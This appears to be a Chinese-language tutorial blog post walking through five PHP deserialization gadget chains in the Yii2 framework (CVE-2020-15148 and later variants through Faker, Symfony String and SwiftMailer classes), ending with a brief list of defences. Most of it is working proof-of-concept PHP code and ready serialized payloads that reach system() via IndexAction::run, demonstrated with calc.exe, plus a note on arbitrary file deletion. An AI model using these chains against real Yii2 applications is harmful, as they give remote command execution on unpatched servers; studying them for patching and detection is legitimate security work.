YII反序列化链子学习思路:
入门学习反序列化的不二选择就是去yii框架中找链子。这也我是总结其他大佬挖的链子做的简单的、略为清晰一点复现尝试
第一条:CVE-2020-15148(0day)
思路:
首先肯定根据一个反序列化的点构造一条链。目前来说,只有__destruct
和__wakeup
这两个魔术方法可以使用
魔术方法__destruct
,在对象被销毁前被调用。从系统结构的角度讲,其最常见的场景是关闭某些功能。比如关闭文件流,更新数据等。但从反序列化的角度讲,其特殊的使用场景,代表在这个方法内可能会调用类内的其它方法。
先从结果入手来分析:
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct()
{
$this->writeCallback=[(new IndexAction),"run"];
$this->fields['1'] = 'aaa';
}
}
}
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new DbSession();
}
}
}
namespace {
$exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}
?>
直接将链子序列化的结果url解码,得到如下:
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\web\DbSession":2:{s:9:"*fields";a:1:{i:1;s:3:"aaa";}s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
- 语句的基本初步特征如下:
- 调用类+类中的参数[赋值]+调用魔术方法中的类
- 调用时指定命名空间namespace,调用指定函数
不难看出,序列化之后是由后到前,实际调用也是如此。为了提前声明函数,所以要逆着来写poc。
分析:
第一步:漏洞补丁通过在BatchQueryResult.php
增加__wakeup函数防止反序列化,直接定位
BatchQueryResult.php
销毁时调用的__destruct函数会调用reset方法。如果此时dataReader
有定义,将会调用close方法。
命名空间:namespace yii\db;
第二步:全局搜索close方法,并通过链子中的命名空间yii\web缩小范围
可以看到标红的只有两个文件分别是DbSession和Session中可能符合要求。找到指定位置
Session:
DbSession:
都是要判断getIsActive,在Session中如下:
#### 官方 session_status() 返回值为:
- PHP_SESSION_DISABLED ` 会话是被禁用的。
- PHP_SESSION_NONE` 会话是启用的,但不存在当前会话。
- PHP_SESSION_ACTIVE` 会话是启用的,而且存在当前会话
所以在这里恒定为真,可以通过if判断。
而session_status是为了解决session阻塞机制来关闭当前session对话的。所以肯定无法使用,于是排除Session
命名空间:namespace yii\web
第三步:查找composeFields,MultiFieldSession.php
排除DbSession,只有一个了,如下:
可以看到一个传入回调函数到call_user_func中,但我们控制不了里面的参数。可以赋值回调函数为[(new test), "aaa"]
这样的一个数组,就可以调用test
类中的aaa
公共方法。
命名空间:namespace yii\web
第四步:寻找可控公共方法,[(new IndexAction),“run”]通过这个可以判断是IndexAction 中的run方法
只有一个,相关代码如下且完全可控
命名空间:namespace yii\rest
总结链子顺序:
第二条: CVE-2020-15148第二种绕过思路(__call)
同样先给出链子以及解码后的序列化
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[new IndexAction,"run"];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace {
$exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}
O:23:"yii\db\BatchQueryResult":1:
{s:36:"yii\db\BatchQueryResult_dataReader";O:15:"Faker\Generator":1:
{s:13:"*formatters";a:1:{s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}
分析:
第一步:和第一条链子一样在BatchQueryResult.php中
命名空间:namespace yii\db;
第二步:既然要利用__call,那么就全局搜索(找没有close()方法的类)Generator.php
仔细看其实不少都有可能是合适的,但是这里就只复现链子的那个。在Generator.php中__call方法的两个参数都可控
命名空间:namespace Faker
#__call方法
当调用的方法不存在或则权限不足时自动触发该方法,所以这里可以直接找到调用它(format)的下一级并提前传好参数赋值
第三步:当前文件中全文追踪format以及后续
可以看到,Generator.php中的format中有调用方法call_user_func_array接收getFormatter以及参数。getFormatter中的formatters中参数又是可以控制的,于是可以利用第一条链子找到的call_user_func执行指定命令
命名空间:namespace Faker
第四步:利用run函数中的call_user_func实现命令执行,IndexAction.php
命名空间:namespace yii\rest
总结链子顺序:
第三条:__wakeup方向思路
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess="system";
$this->id="calc.exe";
}
}
}
namespace Symfony\Component\String{
use yii\rest\IndexAction;
class LazyString{
private $value;
public function __construct()
{
$this->value=[new IndexAction,"run"];
}
}
class UnicodeString{
protected $string = '';
public function __construct()
{
$this->string=new LazyString;
}
}
}
namespace {
$exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}
O:38:"SymfonyComponentStringUnicodeString":1:{s:9:"*string";O:35:"SymfonyComponentStringLazyString":1:{s:42:"SymfonyComponentStringLazyStringvalue";a:2:{i:0;O:20:"yiirestIndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
分析:__wakeup()是被反序列后自动调用的函数。
第一步:__wakeup,UnicodeString.php
这里的string可控,第一个参数要求是String类型,如此我们就可以去寻找可利用的__toString方法
命名空间:namespace Symfony\Component\String;
第二步:LazyString.php:96,可以看道is_string失败会调用value方法。没有参数,可以用前面的run方法
命名空间: namespace Symfony\Component\String;
第三步:利用run函数中的call_user_func实现命令执行,IndexAction.php
命名空间:namespace yii\rest
总结链子顺序:
第四条:分析顺序和之前一样
<?phpnamespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } }}namespace Symfony\Component\String{ use yii\rest\IndexAction; class LazyString{ private $value; public function __construct() { $this->value=[new IndexAction,"run"]; } }}namespace { use Symfony\Component\String\LazyString; class Swift_ByteStream_FileByteStream{ private $path; public function __construct() { $this->path=new LazyString(); } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{ } $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));}
O:40:"Swift_ByteStream_TemporaryFileByteStream":1:{s:37:"Swift_ByteStream_FileByteStreampath";O:35:"Symfony\Component\String\LazyString":1:{s:42:"Symfony\Component\String\LazyStringvalue";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
分析:
第一步:__destruct的利用,TemporaryFileByteStream.php,并找到它的继承的FileByteStream类中的getPath
其中path可控,可以造成任意文件删除
其中文件路径分别是:
/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php
第二步:由于getPath可控,而且file_exists需要string类型的参数。所以可以延续上一次的路径,到LazyString.php中
命名空间: namespace Symfony\Component\String;
第三步:利用run函数中的call_user_func实现命令执行,IndexAction.php
命名空间:namespace yii\rest
总结链子顺序:
第五条:
<?phpnamespace yii\rest{ class IndexAction { public $checkAccess; public $id; public function __construct() { $this->checkAccess="system"; $this->id="calc.exe"; } }}namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters = array(); public function __construct() { $this->formatters['createTransportChangeEvent']=[new IndexAction,"run"]; } }}namespace { use Faker\Generator; abstract class Swift_Transport_AbstractSmtpTransport{} class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport { protected $started; protected $eventDispatcher; public function __construct() { $this->started = True; $this->eventDispatcher = new Generator(); } } $exp=print(urlencode(serialize(new Swift_Transport_SendmailTransport())));}
O:33:"Swift_Transport_SendmailTransport":2:{s:10:"*started";b:1;s:18:"*eventDispatcher";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:26:"createTransportChangeEvent";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}
分析:
第一步:__destruct函数开始在AbstractSmtpTransport.php中调用stop
找到该文件中的stop函数
eventDispatcher可控,于是利用__call方法
第二步:Generator.php
命名空间:namespace Faker
第三步:当前文件中全文追踪format以及后续
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8RFN98fT-1634148188381)(C:/Users/Legion/AppData/Roaming/Typora/typora-user-images/!%5B%5D(https:/p1.ssl.qhimg.com/t019077b3c080dcfe96.png)]375.png)
可以看到,Generator.php中的format中有调用方法call_user_func_array接收getFormatter以及参数。getFormatter中的formatters中参数又是可以控制的,于是可以利用第一条链子找到的call_user_func执行指定命令
命名空间:namespace Faker
第四步:利用run函数中的call_user_func实现命令执行,IndexAction.php
命名空间:namespace yii\rest
总结链子顺序:
防御
- 鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用
- 白名单,限制反序列化的类
- RASP(Runtime application self-protection,运行时应用自我保护)检测
- 在写到动态调用和危险函数时,务必对变量和方法进行回溯。查看变量是否是可控的。
- 在容许的情况下,使用静态属性进行动态调用可以防止可控变量调用危险函数。
- 在调用
$this->aaa->bbb()
这样类似的结构前可以利用instanceof
进行检查,查看其是否是期望调用的类。
其他需要注意的:后面几条已经修复了只有版本号Yii2<=2.0.38才能复现成功哦
相信大家如果能够耐心自己尝试一遍,以后也能轻松挖出自己的链子。